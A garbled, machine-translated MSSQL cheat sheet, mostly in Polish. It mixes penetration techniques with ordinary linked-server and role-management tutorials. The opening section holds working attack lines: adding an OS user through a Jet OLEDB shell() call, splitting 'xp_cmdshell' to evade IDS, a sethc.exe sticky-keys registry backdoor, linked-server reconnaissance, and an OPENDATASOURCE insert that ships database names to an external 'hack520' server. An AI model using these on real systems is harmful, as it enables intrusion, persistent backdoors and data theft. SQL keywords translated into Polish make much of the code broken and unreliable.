Nie mógł odpowiedzieć OLE DB provider 'Microsoft.Jet.OLEDB.4.0' wykonuje zapytanie. [Zwrócony dostawca OLE/DB
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Jeśli zezwolenie sieci jest nieprawidłowe, nie ma żadnego promptu.
Ostatnim sposobem podniesienia autorytetu jest przesłanie ias.mdb i cmd.exe systemu pod aktualnym katalogiem internetowym, net.exe trzech plików.
Wykonaj select * z openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe użytkownik passwd /add")') Pomyślnie dodaj użytkownika komputera.
Splitting cmdshell omija IDS declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' deklaruj
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Edytuj zmianę przejęcia rejestru Mistrz wykonawczy... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
Zapytaj serwer linkowy wybrać
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers wybrać
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
Zapytanie linkserver2 Wybierz unikalną nazwę hosta,db_name(dbid),net_address,loginame,program_name z
Mistrzu... Procesy sysprocesowe
Zapytaj serwer linkowy oraz inni zalogowani użytkownicy select * from [192.168.1.1].master.dbo.syslogins
Serwer linkowy zapytaj Wszystkie bazy danych wybierz * z linkedSrvWeb.master.dbo.sysdatabases
Wykonaj rozszerzoną pamięć na LinkServer Wykonawczy [IP].master.dbo.xp_cmdshell
Zapytaj wszystkie tabele na serwerze linkowym Wybierz * z [IP].master.dbo.sysobjects
Wybierz * z openrowset
('sqloledb','server=IP; uid=użytkownik; pwd=password','select @@version')
wybierz * z openquery([LINKSERVER
imię],'wybierz @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
wybierz * z OpenQuery(GM_SERVER,'wybierz * z sysobjects gdzie xtype = (''U'')')
Wybierz * z
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
Wybierz * z OpenQuery(toatdeweb,'wybierz
srvname from master.dbo.sysservers')
Insert into opendatasource
('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select
nazwa z master.dbo.sysdatabases create database hack520 Utwórz TABELĘ zhu(name nvarchar(256)
null); Utwórz TABELĘ J8(id int NULL, nazwa nvarchar(256) null);
Wybierz * z OpenQuery
(toatdeweb, 'ustawić FMTonly off executive master.dbo.xp_cmdshell ''net user'')
Mistrz wykonawczy... xp_dirtree
'c:\',1,1 Wykonaj katalog zapytań
Linki wykonawcze.Mistrzu.. xp_cmdshell 'ipconfig'
select * from openquery(toatdeweb,'set
fmtonly off executive master.dbo.xp_cmdshell ''ipconfig /all''')
Connect mysql Select * z Mem_DB. UserDB.dbo.AdminList
DYREKTORZE... XP_dirtree 'c:\',1,1
Wykonawczy
master.dbo.xp_cmdshell 'dir'
Wybierz count(*) z [wskazywać] Zapytanie, ile danych znajduje się w aktualnej tabeli
Wybierz unikalną nazwę hosta,db_name(dbid),net_address,loginame,program_name
Od mistrza... Procesy sysprocesowe
Wybierz * z gamedb01. Server01.dbo.cabal_character_table gdzie imię='
Świnia'
Gdy ją usuniesz, pojawia się komunikat: Baza danych jest używana i nie można jej usunąć.
Kliknij na bazę danych, którą chcesz usunąć, aby otworzyć Podgląd zdarzeń.
Input:
Zastosowanie
Mistrz Idź Następnie wpisz następującą wartość: deklaruj @d varchar(8000) zestaw @d= ' ' wybierz @d=@d+ ' zabij
'+cast(spid jako varchar)+char(13) Od mistrza... sysprocesses, gdzie dbid=db_id('nazwa biblioteki') exec(@d) -- Użyj kodu, aby najpierw usunąć proces, który łączy się z tą bazą danych
MSSQL obsługuje Oracle za pośrednictwem LinkServer
1) Zainstalować Oracle na serwerze SQL_SERVER 2005
Klient 9i. Załóżmy, że instalujemy do katalogu C:\ora92i\. Jeśli D: to partycja NTFS, musisz ustawić zainstalowany katalog ORACLE jako ten, który jest używany
Subskrybenci mają prawo do uruchamiania, dodawania i usuwania.
2) Konfiguruj plik C:\ora92i\network\ADMIN\tnsnames.ora. (Poniższy czerwony tekst jest przykładem konfiguracji)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orkl)
)
)
3) Uruchom następujące polecenie w trybie DOS, aby potwierdzić, że klient ORACLE jest poprawnie zainstalowany.
Użytkownik/password@ORCL sqlplus
4) Otwórz Start - Panel sterowania - Usługi i potwierdź, że usługa Koordynatora Transakcji Rozproszonych została uruchomiona.
5) Open SQL SERVER Management Studio, nazwa instancji (ORCL) - obiekt serwera (kliknięcie prawym przyciskiem) - serwer nowego połączenia.
1.
Serwer link: Zapisz nazwę powiązanego serwera, na przykład OracleTest
2. Typ serwera, wybierz inne źródło danych
3. Interfejs dostępu: Select Oracle Provider for OLE DB
4. Nazwa produktu: Write Oracle
5. Źródło danych: Opis
Nazwa usługi skonfigurowana w pliku tnsnames.ora, na przykład ORCL
6. Ciąg interfejsu dostępu: userid=sys jako sysdba; password=password
7. Na stronie Wybierz Opcje Bezpieczeństwa użyj tego kontekstu instalacyjnego, aby nawiązać połączenie:
a) Zdalne logowanie: użytkownik (inny użytkownik, nie system)
b)
Użyj hasła: hasło
8. Ustaw "NT AUTHORITY\SYSTEM" na lokalnym logowaniu, systemie zdalnego użytkownika i ustaw hasło
9.
Czy na pewno
6) Istnieją dwa sposoby pisania SQL
a) Używanie składni T-SQL:
WYBIERZ * Z
OraTest.ERP.BAS_ITEM_CLASS
Należy zauważyć, że podczas wpisywania instrukcji SQL w SQL Query Analyzer należy zwracać uwagę na chińskie przełączanie na pełną i połowę szerokości
No cóż!
b) Używanie składni PLSQL: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Metoda drugiego dostępu jest około 50% szybsza od pierwszej; Druga metoda dostępu jest bezpośrednio połączona
ORACLE jest porównywalny; Metoda pierwszego dostępu może prowadzić do nieoczekiwanych błędów, takich jak: Tabela nie istnieje, ani obecny użytkownik
Nie ma dostępu do stołu i tak dalej.
d) Jeśli kolumna, do której należy uchodzić, używa typów danych bez precyzji, oba te elementy
Jest to błąd ORACLE, którego nie da się naprawić i można go uniknąć jedynie poprzez specjalne obsługę instrukcji zapytań:
Metadane dostarczone przez dostawcę OLE DB 'OraOLEDB.Oracle' dla kolumn są niespójne. Informacje o metadanych są zmieniane podczas wykonywania.
Dodano mssql
Usuń użytkownika i nadaj uprawnienia
Użyj nazwy swojej biblioteki Idź --Dodaj użytkowników Dyrektor sp_addlogin 'test' — dodaj logowanie Wykonawczy
sp_grantdbaccess N'test' – czyni go legalnym użytkownikiem aktualnej bazy danych exec sp_addrolemember N'db_owner',
N'test' – przyznaje wszystkie uprawnienia do własnej bazy danych --Tworzy to użytkowników, którzy mają dostęp tylko do własnej bazy danych i tego, co jest w niej zawarte
Publiczna tabela dla użytkowników gościnnych Idź --Usuń użytkownika testowego exec sp_revokedbaccess N'test' -- Usuń dostęp do bazy danych
Limit exec sp_droplogin N'test' -- usuń logowanie Jeśli tworzysz go w Enterprise Manager, używaj: Enterprise Manager - Bezpieczeństwo
Seks --Loguj się prawym przyciskiem myszy--Nowe logowanie Przedmioty ogólne --Wpisz nazwę użytkownika w nazwie
--Metoda uwierzytelniania jest wybierana zgodnie z twoimi potrzebami (jeśli korzystasz z uwierzytelniania Windows, najpierw musisz utworzyć nowego użytkownika spośród użytkowników systemu operacyjnego)
--W ustawieniach domyślnych wybierz nazwę bazy danych, do której chcesz uzyskać dostęp dla nowego użytkownika Element roli serwera Nie wybieraj niczego w tym baza danych
Dostęp do przedmiotu Sprawdź nazwę bazy danych, do której chcesz uzyskać dostęp dla użytkownika, którego tworzysz Pozwól w roli bazy danych, zaznaczy "public", "db_ownew" Oczywiście, to
Użytkownik utworzony przez próbkę jest taki sam jak użytkownik utworzony przez powyższe stwierdzenie
Ostatnim krokiem jest ustawienie konkretnych uprawnień dostępu dla konkretnych użytkowników, które można odnieść do poniższego minimalnego przykładu:
--Dodaj użytkowników, którym dostęp do określonej tabeli jest dozwolony: Exec sp_addlogin 'nazwa użytkownika', 'hasło', 'domyślna nazwa bazy danych'
--dodaj do bazy danych executive sp_grantdbaccess 'nazwa użytkownika'
--Przypisz uprawnienia całej tabeli PRZYZNAJ SELECT , WSTAW , AKTUALIZUJ , USUŃ NA TABELI1 DO [NAZWA UŻYTKOWNIKA] --Przypisanie uprawnień do konkretnych kolumn GRANT SELECT , AKTUALIZACJA NA TABLE1(id,AA) DO [nazwa użytkownika]
Aby poznać konkretne ustawienia bezpieczeństwa i wiedzę teoretyczną, prosimy o kontakt z SQL Online Help
Stały opis roli bazy danych db_owner Mieć pełne uprawnienia w bazie danych.
db_accessadmin Możesz dodawać lub usuwać identyfikatory użytkowników.
db_securityadmin Może zarządzać pełnymi uprawnieniami, własnością obiektów, rolami i członkostwami w rolach.
db_ddladmin może wydać WSZYSTKIE oświadczenia DDL, ale nie PRZYZNAWAĆ, ODWOŁYWAĆ ani Odmawiać.
db_backupoperator może wydawać wyciągi DBCC, CHECKPOINT i BACKUP.
db_datareader Możesz wybrać wszystkie dane z dowolnej tabeli użytkownika w bazie danych.
db_datawriter Możesz zmienić wszystkie dane w dowolnej tabeli użytkownika w bazie danych.
db_denydatareader Nie możesz wybrać żadnych danych z żadnej tabeli użytkownika w bazie danych.
db_denydatawriter Nie możesz zmieniać żadnych danych w żadnej tabeli użytkownika w bazie danych.
Powinieneś wybrać db_datareader, db_datawriter, db_accessadmin
5. Po uruchomieniu instancji SQL Server w trybie pojedynczego użytkownika, konto administratora Windows może użyć narzędzia sqlcmd do połączenia się w trybie uwierzytelniania Windows
SQL Server。 Możesz użyć poleceń T-SQL, takich jak "sp_addsrvrolemember", aby dodać istniejące logowanie do roli serwera administratora systemu
Albo załóż nowe konto loginowe. Przykładowe zdanie brzmi następująco:
EXECUTIVE sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
IDŹ
Dodaj uprawnienia administratora systemu
(1) Zarządzanie rolami serwera
W SQL Server istnieją dwie główne procedury przechowywane implementujące zarządzanie rolami SQL Server:
sp_addsrvrolemember
i sp_dropsrvrolemember
sp_addsrvrolemember Możesz dodać konto logowania do roli serwera, aby uczynić je członkiem tej roli. Składnia jest następująca: sp_addsrvrolemember
loguj się, rola
sp_dropsrvrolemember Możesz usunąć konto logowania z roli serwera, a gdy członek zostanie usunięty z roli, ta rola przestaje być dostępna
Uprawnienia są ustawione. Składnia jest następująca: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
w tym
@loginname to nazwa użytkownika zalogowanego; @rolename jest rolą serwera.
(2) Zarządzanie rolami bazodanowymi
W SQL Server obsługiwane jest zarządzanie bazą danych
Istnieje sześć głównych typów procedur przechowywanych, a ich konkretne znaczenia i składnia są następujące:
sp_addrole: Użyty do utworzenia nowej roli bazy danych; sp_addrole
rola, właściciel
sp_droprole: Używany do usunięcia roli bazy danych z obecnej roli bazy danych; sp_droprole rola
sp_helprole:
Służy do wyświetlania wszystkich informacji o wszystkich rolach bazy danych w aktualnej bazie danych; sp_helprole ['rola']
sp_addrolemember: Używany do wysyłania do bazy danych
Dodaj użytkowników bazy danych do roli, która może być standardowymi rolami zdefiniowanymi przez użytkownika lub stałymi rolami bazodanowymi, ale nie mogą być
Stanowiska aplikacyjne. sp_addrolemember rola, security_account
sp_droprolemember: Używany do usunięcia pewnej postaci
gospodarstwo domowe; sp_droprolemember rola, security_account
sp_helprolemember: Używany do wyświetlania wszystkich członków roli bazy danych
。 sp_helprolemember ['role']
Zapytanie MSSQL LINKSERVER
---------------------------------------------------------------------------------- -- Autor:
htl258(Tony) -- Data : 2010-06-25 22:23:18 -- Wersja: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 lipca 2008 14:43:34 -- Copyright (c) 1988-2008 Microsoft Corporation --
Developer Edition na Windows NT 5.1 (Build 2600: Service Pack 2) -- Blog : -- Temat: Operacje danych SQL pomiędzy różnymi bazami danych serwerów ---------------------------------------------------------------------------------- --1. Stwórz serwer linkowy --1.1 Stwórz nazwę linku EXEC sp_addlinkedserver 'LinkName','', 'SQLOLEDB',' nazwa zdalnego serwera
lub adres IP' -- Jeśli masz niestandardową nazwę instancji, dodaj "\nazwa instancji"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Utworz logowanie (lub stwórz mapę logowania serwera linkowego) (wystarczy wybrać jeden sposób) --1.2.1 Zaloguj się za pomocą uwierzytelniania Windows EXECUTIVE sp_addlinkedsrvlogin 'LinkName' --lub EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Zaloguj się za pomocą uwierzytelniania SQL EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Username', 'Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink', 'false', null, 'sa', '123' */ --2. Operacje związane z danymi serwera łącza --2.1 Przykład zapytania WYBIERZ * Z LinkName.database name.schema name.table name
/*例如:SELECT *
OD TonyLink.Mydb.dbo.tb */ -- 2.2 Przykład importu WYBIERZ * DO nazwy tabeli Z LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
OD TonyLink.Mydb.dbo.tb */ -- Przykład aktualizacji 2.3 AKTUALIZACJA LinkName.Database Name.Schema Name.Table Name SET='value' GDZIE pole='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb ZESTAW osoby='g' GDZIE osoby ='a' */ -- 2.4 Usuń przykłady DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb GDZIE Osoby='g' */ --3 przez funkcję rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Metoda
- 3.1 Metoda OPENQUERY (wymaga pomocy serwera linków, który właśnie utworzyłeś): -- 3.1.1 Przykład zapytania WYBIERZ * Z OPENQUERY(LinkName, 'SELECT * FROM database name. Nazwa architektury. nazwa tabeli')
/* Na przykład: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Przykłady importu --3.1.2.1 Import wszystkich kolumn INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Nazwa architektury. Nazwa tabeli
') WYBIERZ * Z lokalnej tabeli
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
Z TB */ --3.1.2.2 Importuj określone kolumny INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Nazwa architektury. Nazwa tabeli') (kolumna, kolumna...) Kolumna SELECT,
Kolumna... FROM local table
/* Na przykład: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) WYBRAĆ
ZAKRES, POZIOM, OSOBY OD GRUŹLICY */ --3.1.3 Przykłady aktualizacji AKTUALIZACJA OPENQUERY(LinkName, 'SELECT * FROM database name. Nazwa architektury. nazwa tabeli') pole SET = 'value' WHERE słowo
Segment = 'Condition'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Osoby='a' */ --3.1.4 Usuń przykłady DELETE OPENQUERY(LinkName, 'SELECT * FROM database name. Nazwa architektury. nazwa tabeli') GDZIE nazwa pola = 'warunek'
/*例
Na przykład: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') GDZIE Persons='g' */ --3.2 Metoda OPENROWSET (nie musisz używać nazwy utworzonego linku.) Jeśli nazwa połączonej instancji nie jest domyślna, musisz ustawić ją na nazwę serwera SQL lub adres IP.
"\nazwa instancji") --3.2.1 Przykład zapytania --3.2.1.1 Zapytanie o metodę uwierzytelniania Windows (jedna z poniższych metod jest wystarczająca) SELECT * FROM OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub
adres IP; Trusted_Connection=tak', nazwa bazy danych. Nazwa architektury. Nazwa tabeli) SELECT * FROM OPENROWSET('SQLNCLI',
'server=nazwa serwera SQL lub adres IP; Trusted_Connection=tak', nazwa bazy danych. Nazwa architektury. Nazwa tabeli) WYBIERZ * Z
OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; Trusted_Connection=tak','WYBIERZ * Z bazy danych
Imię. Nazwa architektury. nazwa tabeli') WYBIERZ * Z OPENROWSET('SQLNCLI', 'server=nazwa serwera sql lub adres IP
Adres; Trusted_Connection=tak','WYBIERZ * Z nazwy bazy danych. Nazwa architektury. nazwa tabeli')
/* Na przykład: SELECT * FROM OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Albo: WYBIERZ * Z OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Lub: WYBIERZ * Z OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=tak','WYBIERZ *
Z Mydb.dbo.tb')
Lub: WYBIERZ * Z OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=tak','WYBIERZ *
Z Mydb.dbo.tb') */ --3.2.1.2 Zapytanie o metodę uwierzytelniania SQL (Jedna z poniższych metod jest wystarczająca) WYBIERZ * Z OPENROWSET
('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=password', nazwa bazy danych. Nazwa architektury. Nazwa tabeli) WYBIERZ * Z
OPENROWSET('SQLNCLI', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=password', nazwa bazy danych. Nazwa architektury. Nazwa tabeli) WYBIERZ * Z OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=password','SELECT *
Z nazwy bazy danych. Nazwa architektury. nazwa tabeli') WYBIERZ * Z OPENROWSET('SQLNCLI', 'server=nazwa serwera sql lub adres IP; uid=
Nazwa użytkownika; pwd=password','SELECT * FROM nazwy bazy danych. Nazwa architektury. nazwa tabeli') SELECT * FROM OPENROWSET('SQLOLEDB', 'sql
nazwa serwera'; 'nazwa użytkownika'; 'hasło', nazwa bazy danych. Nazwa architektury. Nazwa tabeli) WYBIERZ * Z OPENROWSET('SQLNCLI', 'SQL SERVER NAME'
'; 'nazwa użytkownika'; 'hasło', nazwa bazy danych. Nazwa architektury. Nazwa tabeli) WYBIERZ * Z OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; '
imię'; 'Hasło', 'WYBIERZ * Z nazwy bazy danych. Nazwa architektury. nazwa tabeli') SELECT * FROM OPENROWSET('SQLNCLI', 'sql Server
imię'; 'nazwa użytkownika'; 'Hasło', 'WYBIERZ * Z nazwy bazy danych. Nazwa architektury. nazwa tabeli')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Albo: WYBIERZ * Z OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Albo: WYBIERZ * Z OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
lub: WYBIERZ * Z OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','WYBIERZ * Z
Mydb.dbo.tb')
lub: WYBIERZ * Z OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
lub: WYBIERZ * Z OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
lub: WYBIERZ * Z OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * Z Mydb.dbo.tb')
lub: WYBIERZ * Z OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * Z Mydb.dbo.tb') */ --3.2.2 Przykład importu --3.2.2.1 Import wszystkich kolumn INSERT OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub adres IP
Adres; uid=nazwa użytkownika; pwd=password', nazwa bazy danych. Nazwa architektury. Nazwa tabeli) WYBIERZ * Z lokalnej tabeli
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) WYBIERZ * Z TB */ --3.2.2.2 Import
Określ kolumny INSERT OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=password', nazwa bazy danych. Rack
Nazwa konstruktu. Nazwa tabeli) (kolumna, kolumna...) SELECT kolumna, kolumna... FROM local table
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ZAKRES,POZIOM,Osoby) WYBRAĆ
ZAKRES, POZIOM, OSOBY OD GRUŹLICY */ --Uwaga: Dla bardziej alternatywnych metod zobacz przykład zapytania .2.1, wystarczy zastąpić funkcję OPENROWSET
Treść jest wystarczająca. --Przykład aktualizacji 3.2.3 AKTUALIZUJ OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika
;p wd=hasło', nazwa bazy danych. Nazwa architektury. Nazwa tabeli) Pole SET = 'wartość' Gdzie pole = 'warunek'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persons='g' GDZIE Osoby='a' */ --Uwaga: Dla bardziej alternatywnych metod zobacz przykład zapytania .2.1, po prostu zamień zawartość w OPENROWSET. --3.2.4 Usuń wskazanie
Przykład DELETE OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=password', nazwa bazy danych. Nazwa schematu
.nazwa tabeli) GDZIE nazwa pola = 'warunek'
/* Na przykład: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) GDZIE
Persons='g' */ --Uwaga: Dla bardziej alternatywnych metod zobacz przykład zapytania .2.1, wystarczy zastąpić zawartość w OPENROWSET. --3.3 Metoda OPENDATASOURCE
(Nie musisz używać nazwy utworzonego linku.) Jeśli nazwa instancji połączenia nie jest domyślna, musisz dodać nazwę \instancji po nazwie serwera SQL lub adresie IP
") --3.3.1 Przykład zapytania --3.3.1.1 Zapytanie o metodę uwierzytelniania Windows (Jedna z poniższych metod jest wystarczająca) SELECT * FROM OPENDATASOURCE('SQLOLEDB',
'server=nazwa serwera SQL lub adres IP; Trusted_Connection=tak'). Nazwa bazy danych. Nazwa architektury. Nazwa tabeli WYBIERZ * Z
OPENDATASOURCE('SQLNCLI', 'server=nazwa serwera sql lub adres IP; Trusted_Connection=tak'). Nazwa bazy danych. Nazwa architektury.
Nazwa tabeli
/* Na przykład: WYBIERZ * Z OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=tak'). Mydb.dbo.tb
Albo: WYBIERZ * Z OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=tak'). Mydb.dbo.tb */ --3.3.1.2 Zapytanie metodą uwierzytelniania SQL (jedna z poniższych metod jest wystarczająca) WYBIERZ * Z OPENDATASOURCE ('SQLOLEDB', 'server=nazwa serwera sql lub
adres IP; uid=nazwa użytkownika; pwd=hasło'). Nazwa bazy danych. Nazwa architektury. Nazwa tabeli WYBIERZ * Z OPENDATASOURCE ('SQLNCLI', 'server=nazwa serwera sql lub adres IP; uid=użytkownik
Nazwa; pwd=hasło'). Nazwa bazy danych. Nazwa architektury. Nazwa tabeli WYBIERZ * Z OPENDATASOURCE('SQLOLEDB', 'Data Source=nazwa serwera sql lub adres IP
Adres; uid=nazwa użytkownika; pwd=hasło'). Nazwa bazy danych. Nazwa architektury. Nazwa tabeli WYBIERZ * Z OPENDATASOURCE ('SQLNCLI', 'Data Source=nazwa serwera sql lub adres IP
Adres; uid=nazwa użytkownika; pwd=hasło'). Nazwa bazy danych. Nazwa architektury. Nazwa tabeli
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Albo: WYBIERZ * Z OPENDATASOURCE ('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Lub: WYBIERZ * Z OPENDATASOURCE ('SQLOLEDB','Data
Źródło=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Albo: WYBIERZ * Z OPENDATASOURCE ('SQLNCLI','Data
źródło=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Importuj wszystkie kolumny WSTAW OPENDATASOURCE('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=hasło').
Według nazwy biblioteki. Nazwa architektury. Nazwa tabeli WYBIERZ * Z lokalnej tabeli
/* Na przykład: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb WYBRAĆ
* Z TB */ --3.3.2.2 Importuj określone kolumny WSTAW OPENDATASOURCE('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=hasło').
Według nazwy biblioteki. Nazwa architektury. Nazwa tabeli (kolumna, kolumna...) SELECT kolumna, kolumna... FROM local table
/* Na przykład: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(ZASIĘG, POZIOM, Osoby) WYBIERZ ZAKRES, POZIOM, Osoby Z TB */ --Uwaga: Dla bardziej alternatywnych metod zobacz przykład zapytania .3.1, wystarczy zastąpić zawartość funkcji zestawu linijowego (OPENDATASOURCE). --Przykład aktualizacji 3.3.3 AKTUALIZACJA OPENDATASOURCE ('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=hasło'). Nazwa bazy danych. Nazwa architektury. Nazwa tabeli Pole SET = 'wartość' Gdzie pole = 'warunek'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' GDZIE Osoby='a' */ --Uwaga: Dla bardziej alternatywnych metod zobacz przykład zapytania .3.1, wystarczy zastąpić zawartość funkcji zestawu linijowego (OPENDATASOURCE). --3.3.4 Przykład usunięcia DELETE OPENDATASOURCE ('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=hasło'). Nazwa bazy danych. Nazwa architektury. Nazwa tabeli GDZIE nazwa pola = 'warunek'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb GDZIE osoby = 'g' */ - Uwaga: Więcej alternatyw
Spójrz na przykład zapytania .3.1, wystarczy zastąpić zawartość funkcji wiersza (OPENDATASOURCE). -- Usuń metodę serwera powiązanego --Jeśli w przyszłości nie będziesz już używać informacji o linku, możesz je usunąć --4.1 Usuń dane logowania (lub usuń mapę nazw logowania serwera powiązanego) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* Na przykład: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Usuń powiązaną nazwę serwera EXEC sp_dropserver 'LinkName', 'droplogins' — jeśli podano droplogin, Mapa logowania musi zostać usunięta przed usunięciem powiązanego serwera
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Załączone
: Jak uzyskać nazwę dostawcy (EXEEC master). xp_enum_oledb_providers) WYBIERZ CAST([Nazwa Dostawcy] JAKO
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion OD
OPENROWSET( 'SQLOLEDB', 'Serwer=.; Trusted_Connection=tak', 'STARTUJ FMTonly; EXEC
Mistrzu... xp_enum_oledb_providers'
)
|